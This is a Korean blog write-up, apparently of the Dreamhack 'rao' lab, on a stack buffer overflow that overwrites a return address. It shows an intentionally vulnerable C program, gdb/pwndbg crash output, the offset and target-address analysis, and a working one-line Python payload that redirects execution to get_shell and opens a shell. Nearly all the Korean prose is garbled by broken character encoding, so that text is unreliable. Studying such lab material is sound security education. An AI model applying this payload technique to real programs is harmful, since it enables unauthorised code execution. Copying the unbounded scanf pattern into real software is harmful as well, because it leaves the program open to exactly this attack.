๋ถ์
๐ ์ค์ต ์ฝ๋
#include <stdio.h> #include <unistd.h> void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); } void get_shell() { char *cmd = "/bin/sh"; char *args[] = {cmd, NULL}; execve(cmd, args, NULL); } int main() { char buf[0x28]; init(); printf("Input: "); scanf("%s", buf); return 0; }โ
(1) ์ทจ์ฝ์ ๋ถ์
โถ ํ๋ก๊ทธ๋จ์ ์ทจ์ฝ์ ์ scanf("%s", buf)์ ์กด์ฌ
- scanf ํจ์์ ํฌ๋งท ์คํธ๋ง ์ค ํ๋์ธ %s๋ ๋ฌธ์์ด์ ์ ๋ ฅ๋ฐ์ ๋ ์ฌ์ฉํ๋ ๊ฒ
- ์ ๋ ฅ์ ๊ธธ์ด๋ฅผ ์ ํํ์ง ์์ผ๋ฉฐ, ๊ณต๋ฐฑ ๋ฌธ์์ธ ๋์ด์ฐ๊ธฐ, ํญ, ๊ฐํ ๋ฌธ์ ๋ฑ์ด ๋ค์ด์ฌ ๋๊น์ง ๊ณ์ ์ ๋ ฅ์ ๋ฐ๋๋ค๋ ํน์ง
>> ์ด๋ฐ ํน์ง์ผ๋ก ์ธํด, ์ค์๋ก ๋๋ ์ ์์ ์ผ๋ก ๋ฒํผ์ ํฌ๊ธฐ๋ณด๋ค ํฐ ๋ฐ์ดํฐ๋ฅผ ์ ๋ ฅํ๋ฉด ์ค๋ฒํ๋ก์ฐ๊ฐ ๋ฐ์ํ ์ ์๋ค. ๋ฐ๋ผ์ scanf์ %s ํฌ๋งท ์คํธ๋ง์ ์ ๋๋ก ์ฌ์ฉํ์ง ๋ง์์ผ ํ๋ฉฐ, ์ ํํ n๊ฐ์ ๋ฌธ์๋ง ์ ๋ ฅ๋ฐ๋ “%[n]s”์ ํํ๋ก ์ฌ์ฉํด์ผ ํ๋ค.
๋ณธ ์์ ์์๋ ํฌ๊ธฐ๊ฐ 0x28์ธ ๋ฒํผ์ scanf(“%s”, buf)๋ก ์ ๋ ฅ์ ๋ฐ์ผ๋ฏ๋ก, ์ ๋ ฅ์ ๊ธธ๊ฒ ์ค๋ค๋ฉด ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ฅผ ๋ฐ์์์ผ์ mainํจ์์ ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ์ ์ ์์ ๊ฒ์ผ๋ก ๋ณด์ธ๋ค.
๐ก C/C++์ ๋ฌธ์์ด ์ข ๊ฒฐ์(Terminator)์ ํ์ค ๋ฌธ์์ด ํจ์๋ค์ ์ทจ์ฝ์ฑ
๋ฌธ์์ด ํจ์๋ ๋๋ฐ์ดํธ๋ฅผ ์ฐพ์ ๋๊น์ง ๋ฐฐ์ด์ ์ฐธ์กฐํ๋ฏ๋ก, ์ฝ๋๋ฅผ ์์ฑํ ๋ ์ ์ํ ๋ฐฐ์ด์ ํฌ๊ธฐ๋ฅผ ๋์ด์๋ ๊ณ์ํด์ ์ธ๋ฑ์ค๋ฅผ ์ฆ๊ฐ์ํจ๋ค. ์ด๋ฐ ๋์์ผ๋ก ์ธํด ์ฐธ์กฐํ๋ ค๋ ์ธ๋ฑ์ค ๊ฐ์ด ๋ฐฐ์ด์ ํฌ๊ธฐ๋ณด๋ค ์ปค์ง๋ ํ์์ Index Out-Of-Bound๋ผ๊ณ ๋ถ๋ฅด๋ฉฐ, ์ค์ฌ์ OOB๋ผ๊ณ ๋ ํ๋ค. ๊ทธ๋ฆฌ๊ณ ํด๋น ๋ฒ๊ทธ๋ฅผ ๋ฐ์์ํค๋ ์ทจ์ฝ์ ์ Out-Of-Bound(OOB)์ทจ์ฝ์ ์ด๋ผ๊ณ ๋ถ๋ฅธ๋ค.
OOB๋ ์ฌ๊ฐํ ๋ณด์ ์ทจ์ฝ์ ์ค ํ๋๋ก, ์ด๋ฅผ ์ด์ฉํ์ฌ ํด์ปค๋ ํ๋ก๊ทธ๋๋จธ๊ฐ ์๋ํ์ง ์์ ์ฃผ์์ ๋ฐ์ดํฐ๋ฅผ ์ฝ๊ฑฐ๋, ์กฐ์ํ ์ ์๊ณ , ๋ช๋ช ์กฐ๊ฑด์ด ๋ง์กฑ๋๋ฉด ์ํํธ์จ์ด์ ์ฌ๊ฐํ ์ค๋์์ ์ผ์ผํฌ ์๋ ์๋ค. ์ด๋ฅผ ๋ฐฉ์งํ๊ธฐ ์ํด ๊ฐ๋ฐ์๋ ์ ๋ ฅ์ ๊ธธ์ด๋ฅผ ์ ํํ๋ ๋ฌธ์์ด ํจ์๋ฅผ ์ฌ์ฉํด์ผ ํ๋ฉฐ, ๋ฌธ์์ด์ ์ฌ์ฉํ ๋๋ ๋ฐ๋์ ํด๋น ๋ฌธ์์ด์ด ๋๋ฐ์ดํธ๋ก ์ข ๊ฒฐ๋๋์ง ํ์ธํด์ผ ํ๋ค.
(2) ํธ๋ฆฌ๊ฑฐ
์ด๋ฐ ํ์์ ์ทจ์ฝ์ ์ ๋ฐํ์ํจ๋ค๋ ์๋ฏธ์์ ํธ๋ฆฌ๊ฑฐ๋ผ๊ณ ํํํ ์ ์๋ค.
rao.c ์ฝ๋๋ฅผ ์์ฑํ๊ณ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํด๋ณด๋ฉด ์ ๋ ฅ์ ๋ฐ๋ ๋ฉ์์ง๊ฐ ์ถ๋ ฅ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค. ์ฌ๊ธฐ์ A๋ฅผ 5๊ฐ ์ ๋ ฅํ์ ๋๋ ํ๋ก๊ทธ๋จ์ด ์ ์์ ์ผ๋ก ์ข ๋ฃ๋์์ผ๋. 64๊ฐ๋ฅผ ์ ๋ ฅํ ๊ฒฝ์ฐ Segmentation fault ์๋ฌ๊ฐ ์ถ๋ ฅ๋๋ฉฐ ํ๋ก๊ทธ๋จ์ด ๋น์ ์์ ์ผ๋ก ์ข ๋ฃ๋๋ค.
์ ์ค์ต์ด ์ฌ๋ฐ๋ฅด๊ฒ ์งํ๋์๋ค๋ฉด ์ฝ์ด ํ์ผ์ด ์์ฑ๋์ด์ผ ํ์ง๋ง ๋ณ๋ค๋ฅธ ์ค๋ฅ๊ฐ ๋ฐ์ํ์ง ์์์์๋ ์ฝ์ด ํ์ผ์ด ์์ฑ๋์ง ์์ ์ฐ์ ํด๋น ์ค์ต์ ๊ฐ๋ฅํ ๋ถ๋ถ์ ํํด ๋ถ๋ถ์ ์ผ๋ก ์งํํ์๋ค.
(3) ์ฝ์ด ํ์ผ ๋ถ์
gdb rao -c core.1828876 ๋ช ๋ น์ด๋ก ์ฝ์ด ํ์ผ์ ์ด๋ฉด, ํ๋ก๊ทธ๋จ ์ข ๋ฅ ์์ธ๊ณผ ํจ๊ป ์ด๋ค ์ฃผ์์ ๋ช ๋ น์ด๋ฅผ ์คํํ๋ค๊ฐ ๋ฐ์ํ ๋ฌธ์ ์ธ์ง๋ฅผ ํจ๊ป ํ์ํด์ค์ผ๋ก์จ ์ ์ ์๋ค.
$ gdb rao -c core.1828876
...
Could not check ASLR: Couldn't get personality
Core was generated by `./rao'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x0000000000400729 in main ()
...
pwndbg>
์ปจํ
์คํธ์์ ๋์ค์ด์
๋ธ๋ ์ฝ๋์ ์คํ์ ๊ด์ฐฐํ๋ฉด, ํ๋ก๊ทธ๋จ์ด main ํจ์์์ ๋ฐํํ๋ ค๊ณ ํ๋๋ฐ, ์คํ ์ต์๋จ์ ์ ์ฅ๋ ๊ฐ์ด ์
๋ ฅ๊ฐ์ ์ผ๋ถ์ธ 0x4141414141414141('AAAAAAAA') ๋ผ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์ด๋ ์คํ๊ฐ๋ฅํ ๋ฉ๋ชจ๋ฆฌ์ ์ฃผ์๊ฐ ์๋๋ฏ๋ก ์ธ๊ทธ๋จผํ
์ด์
ํดํธ๊ฐ ๋ฐ์ํ ๊ฒ์ด๋ค. ์ด ๊ฐ์ด ์ํ๋ ์ฝ๋ ์ฃผ์๊ฐ ๋๋๋ก ์ ์ ํ ์
๋ ฅ์ ์ฃผ๋ฉด, main ํจ์์์ ๋ฐํ๋ ๋, ์ํ๋ ์ฝ๋๊ฐ ์คํ๋๋๋ก ์กฐ์ํ ์ ์์ ๊ฒ์ด๋ค.
โโโโโโโโโโโโโโโโโโโโโโ[ DISASM / x86-64 / set emulate on ]โโโโโโโโโโโโโโโโโโโโโโ
โบ 0x400729 <main+65> ret <0x4141414141414141>
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ[ STACK ]โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
00:0000โ rsp 0x7fffc86322f8 โ— 'AAAAAAAA'
01:0008โ 0x7fffc8632300 โ— 0x0
02:0010โ 0x7fffc8632308 —โธ 0x4006e8 (main) โ— push rbp
03:0018โ 0x7fffc8632310 โ— 0x100000000
04:0020โ 0x7fffc8632318 —โธ 0x7fffc8632408 —โธ 0x7fffc86326f0 โ— 0x434c006f61722f2e /* './rao' */
05:0028โ 0x7fffc8632320 โ— 0x0
06:0030โ 0x7fffc8632328 โ— 0x14b87e10e2771087
07:0038โ 0x7fffc8632330 —โธ 0x7fffc8632408 —โธ 0x7fffc86326f0 โ— 0x434c006f61722f2e /* './rao' */
์ต์คํ๋ก์
(1) ์คํ ํ๋ ์ ๊ตฌ์กฐ ํ์
์คํ ๋ฒํผ์ ์ค๋ฒํ๋ก์ฐ๋ฅผ ๋ฐ์์์ผ์ ๋ฐํ์ฃผ์๋ฅผ ๋ฎ์ผ๋ ค๋ฉด, ์ฐ์ ํด๋น ๋ฒํผ๊ฐ ์คํ ํ๋ ์์ ์ด๋์ ์์นํ๋์ง ์กฐ์ฌํด์ผ ํ๋ค. ์ด๋ฅผ ์ํด main ์ ์ด์ ๋ธ๋ฆฌ ์ฝ๋ ์ค scanf ์ ์ธ์๋ฅผ ์ ๋ฌํ๋ ๋ถ๋ถ์ ์ดํด๋ณด์.
ํด๋น ๋ถ๋ถ์ ์์ฌ ์ฝ๋๋ก ํํํ๋ฉด ๋ค์๊ณผ ๊ฐ์ด ์ฌ์ฉํ ์ ์๋ค.
์ฆ, ์ค๋ฒํ๋ก์ฐ๋ฅผ ๋ฐ์์ํฌ ๋ฒํผ๋ rbp-0x30 ์ ์์นํ๋ค. ์คํ ํ๋ ์์ ๊ตฌ์กฐ๋ฅผ ๋ ์ฌ๋ ค ๋ณด๋ฉด, rbp ์ ์คํ ํ๋ ์ ํฌ์ธํฐ(SFP)๊ฐ ์ ์ฅ๋๊ณ , rbp+0x8 ์๋ ๋ฐํ ์ฃผ์๊ฐ ์ ์ฅ๋๋ค. ์ด๋ฅผ ๋ฐํ์ผ๋ก ์คํ ํ๋ ์์ ๊ทธ๋ ค๋ณด๋ฉด ๋ค์ ๊ทธ๋ฆผ์ ๊ฐ๋ค.
โถ ์ ๋ ฅํ ๋ฒํผ์ ๋ฐํ ์ฃผ์ ์ฌ์ด์ 0x38๋งํผ์ ๊ฑฐ๋ฆฌ๊ฐ ์์ผ๋ฏ๋ก, ๊ทธ๋งํผ์ ์ฐ๋ ๊ธฐ ๊ฐ(dummy data)์ผ๋ก ์ฑ์ฐ๊ณ , ์คํํ๊ณ ์ ํ๋ ์ฝ๋์ ์ฃผ์๋ฅผ ์ ๋ ฅํ๋ฉด ์คํ ํ๋ฆ์ ์กฐ์ํ ์ ์์ ๊ฒ์ด๋ค.
(2) get_shell() ์ฃผ์ ํ์
๋ณธ ์์ ์์๋ ์ ธ์ ์คํํด์ฃผ๋ get_shell() ํจ์๊ฐ ์์ผ๋ฏ๋ก, ์ด ํจ์์ ์ฃผ์๋ก main ํจ์์ ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ์ด์ ์ ธ์ ํ๋ํ ์ ์๋ค. ๋ํ get_shell()์ ์ฃผ์๋ฅผ ์ฐพ๊ณ ์ gdb๋ฅผ ํ์ฉํ์ฌ ์ํํ ์ ์์๋ค. ๋ฐ๋ผ์, ์ฃผ์๊ฐ 0x4006aa์์ ํ์ธํ์๋ค.
(3) ํ์ด๋ก๋ ๊ตฌ์ฑ
โถ ์์คํ ํดํน์์ ํ์ด๋ก๋๋ ๊ณต๊ฒฉ์ ์ํด ํ๋ก๊ทธ๋จ์ ์ ๋ฌํ๋ ๋ฐ์ดํฐ๋ฅผ ์๋ฏธํ๋ค.
์์, ํ์ธํ ์ ๋ณด๋ค์ ๋ฐํ์ผ๋ก ์๋์ ๊ฐ์ ํ์ด๋ก๋๋ฅผ ๊ตฌ์ฑํ ์ ์๋ค.
(4) ์๋์ธ ์ ์ฉ
๊ตฌ์ฑํ ํ์ด๋ก๋๋ ์ ์ ํ ์๋์ธ์ ์ ์ฉํด์ ํ๋ก๊ทธ๋จ์ ์ ๋ฌํด์ผ ํ๋ค.
โถ ์๋์ธ : ๋ฉ๋ชจ๋ฆฌ์์ ๋ฐ์ดํฐ๊ฐ ์ ๋ ฌ๋๋ ๋ฐฉ์์ผ๋ก ์ฃผ๋ก ๋ฆฌํ ์๋์ธ, ๋น ์๋์ธ์ด ์ฌ์ฉ๋จ
์๋ ์ฝ๋์ ํจ๊ป 0x406aa ๋ฉ๋ชจ๋ฆฌ์ ์ด๋ป๊ฒ ์ ์ฅ๋๋์ง ํ์ธํด๋ณผ ์ ์๋ค.
(5) ์ต์คํ๋ก์
์๋์ธ์ ์ ์ฉํ์ฌ ํ์ด๋ก๋๋ฅผ ์์ฑํ๊ณ , ์๋ ๋ช ๋ น์ด๋ฅผ rao์ ์ ๋ฌํ๋ฉด ์ ธ์ ํ๋ํ ์ ์๋ค. ์ปค๋งจ๋๊ฐ ๋ค์ ๋ณต์กํด ๋ณด์ด์ง๋ง, ํ์ด์ฌ์ผ๋ก ์ถ๋ ฅํ ํ์ด๋ก๋๋ฅผ rao์ ์ ๋ ฅ์ผ๋ก ์ ๋ฌํ๋ค.
๐ ์ต์คํ๋ก์ ์ฝ๋
$ (python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao $ id id uid=1000(rao) gid=1000(rao) groups=1000(rao)โ
์ทจ์ฝ์ ํจ์น
โถ rao
- ์ํํ ๋ฌธ์์ด ์
๋ ฅํจ์๋ฅผ ์ฌ์ฉํ์ฌ ์ทจ์ฝ์ ์ด ๋ฐ์
- ํด๋น ์ทจ์ฝ์ ์ ํจ์นํ๊ธฐ์ํด C์ธ์ด์์ ์์ฃผ ์ฌ์ฉ๋๋ ๋ฌธ์์ด ์
๋ ฅ ํจ์์ ํจํด๋ค์ ์ดํด๋ณด๊ณ , ๊ฐ๊ฐ์ ํน์ง์ ์์๋ณด์
'Security > System Hacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Stack Canary (0) | 2024.09.23 |
---|---|
Return Address Overwrite (1) | 2024.09.15 |
Memory Corruption: Stack Buffer Overflow (0) | 2024.09.15 |
[Stack Buffer Overflow] Calling Convention (2) | 2024.09.15 |
[Dreamhack] pwn-library write-up (0) | 2024.09.15 |